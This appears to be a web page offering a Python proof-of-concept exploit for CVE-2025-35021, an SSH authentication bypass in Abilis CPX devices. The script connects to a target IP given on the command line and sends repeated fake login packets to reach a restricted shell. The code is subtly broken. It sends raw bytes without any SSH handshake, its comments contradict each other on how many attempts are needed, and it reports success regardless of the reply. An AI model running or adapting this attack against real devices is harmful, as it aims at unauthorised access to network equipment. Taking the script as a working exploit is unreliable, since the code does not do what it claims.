CVE-2025-35021: Abilis CPX设备SSH认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-35021 PoC - Abilis CPX SSH Authentication Bypass Note: This is for educational and authorized testing purposes only. """ import socket import time def cve_2025_35021_poc(target_ip, target_port=22): """ Abilis CPX Authentication Bypass PoC Vulnerability: After 3 failed authentication attempts, the 4th attempt succeeds and grants access to a restricted shell. Usage: For authorized security testing only. """ try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Read SSH banner banner = sock.recv(1024) print(f"[+] SSH Banner: {banner.decode().strip()}") # Attempt 4 failed logins then one more to trigger bypass for attempt in range(1, 5): print(f"[*] Login attempt {attempt}/4") # SSH authentication message (simplified) auth_packet = b"\x00\x00\x00\x0cInvalidCredentials" sock.send(auth_packet) time.sleep(0.5) response = sock.recv(1024) print(f"[+] Response: {response}") print("[+] 4th attempt should grant restricted shell access") print("[+] Attacker can now relay connections from restricted shell") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] cve_2025_35021_poc(target) else: print("Usage: python cve-2025-35021.py <target_ip>")